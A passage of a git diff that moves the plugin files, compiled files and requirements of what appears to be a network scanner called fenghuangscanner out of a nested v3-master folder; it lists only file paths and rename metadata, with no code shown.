a/fenghuangscanner/fenghuangscanner_v3-master/plugins/printers.pyc b/fenghuangscanner/plugins/printers.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/printers.pyc rename to fenghuangscanner/plugins/printers.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/redisexp.py b/fenghuangscanner/plugins/redisexp.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/redisexp.py rename to fenghuangscanner/plugins/redisexp.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/redisexp.pyc b/fenghuangscanner/plugins/redisexp.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/redisexp.pyc rename to fenghuangscanner/plugins/redisexp.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/rsync.py b/fenghuangscanner/plugins/rsync.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/rsync.py rename to fenghuangscanner/plugins/rsync.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/rsync.pyc b/fenghuangscanner/plugins/rsync.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/rsync.pyc rename to fenghuangscanner/plugins/rsync.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/rsynclib.py b/fenghuangscanner/plugins/rsynclib.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/rsynclib.py rename to fenghuangscanner/plugins/rsynclib.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/rsynclib.pyc b/fenghuangscanner/plugins/rsynclib.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/rsynclib.pyc rename to fenghuangscanner/plugins/rsynclib.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/rsyncs.pyc b/fenghuangscanner/plugins/rsyncs.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/rsyncs.pyc rename to fenghuangscanner/plugins/rsyncs.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/smb.py b/fenghuangscanner/plugins/smb.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/smb.py rename to fenghuangscanner/plugins/smb.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/smb.pyc b/fenghuangscanner/plugins/smb.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/smb.pyc rename to fenghuangscanner/plugins/smb.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/snmp.py b/fenghuangscanner/plugins/snmp.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/snmp.py rename to fenghuangscanner/plugins/snmp.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/snmp.pyc b/fenghuangscanner/plugins/snmp.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/snmp.pyc rename to fenghuangscanner/plugins/snmp.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ssh.py b/fenghuangscanner/plugins/ssh.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ssh.py rename to fenghuangscanner/plugins/ssh.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ssh.pyc b/fenghuangscanner/plugins/ssh.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ssh.pyc rename to fenghuangscanner/plugins/ssh.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ssltest.py b/fenghuangscanner/plugins/ssltest.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ssltest.py rename to fenghuangscanner/plugins/ssltest.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/ssltest.pyc b/fenghuangscanner/plugins/ssltest.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/ssltest.pyc rename to fenghuangscanner/plugins/ssltest.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/tomcat.pyc b/fenghuangscanner/plugins/tomcat.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/tomcat.pyc rename to fenghuangscanner/plugins/tomcat.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/vnc.py b/fenghuangscanner/plugins/vnc.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/vnc.py rename to fenghuangscanner/plugins/vnc.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/vnc.pyc b/fenghuangscanner/plugins/vnc.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/vnc.pyc rename to fenghuangscanner/plugins/vnc.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/vnclib.py b/fenghuangscanner/plugins/vnclib.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/vnclib.py rename to fenghuangscanner/plugins/vnclib.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/vnclib.pyc b/fenghuangscanner/plugins/vnclib.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/vnclib.pyc rename to fenghuangscanner/plugins/vnclib.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/web.py b/fenghuangscanner/plugins/web.py similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/web.py rename to fenghuangscanner/plugins/web.py diff --git a/fenghuangscanner/fenghuangscanner_v3-master/plugins/web.pyc b/fenghuangscanner/plugins/web.pyc similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/plugins/web.pyc rename to fenghuangscanner/plugins/web.pyc diff --git a/fenghuangscanner/fenghuangscanner_v3-master/requirements.txt b/fenghuangscanner/requirements.txt similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/requirements.txt rename to fenghuangscanner/requirements.txt diff --git a/fenghuangscanner/fenghuangscanner_v3-master/result/.DS_Store b/fenghuangscanner/result/.DS_Store similarity index 100% rename from fenghuangscanner/fenghuangscanner_v3-master/result/.DS_Store rename to fenghuangscanner/result/.DS_Store